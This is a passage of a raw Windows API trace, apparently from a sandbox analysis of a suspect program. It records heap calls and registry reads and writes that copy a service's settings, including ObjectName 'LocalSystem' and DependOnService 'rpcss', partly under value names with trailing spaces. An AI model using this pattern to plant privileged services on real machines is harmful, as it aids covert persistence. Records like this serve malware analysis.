(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0241.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0241.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0241.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.689] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0241.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.689] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0241.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.689] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.689] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0241.689] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0241.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0241.689] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0241.690] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0241.691] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0241.691] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0241.691] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0241.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0241.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.692] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0241.692] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4190, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0241.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0241.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0241.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0241.693] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0241.693] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42b0, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0241.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0241.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0241.693] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0241.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0241.694] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0241.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0241.694] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0241.694] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0241.694] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.694] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0241.694] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0241.694] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0241.694] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0241.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0241.694] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0241.695] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0241.695] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0241.695] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0241.695] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0241.695] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0241.695] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0241.695] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0241.695] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0241.696] RtlFreeHeap 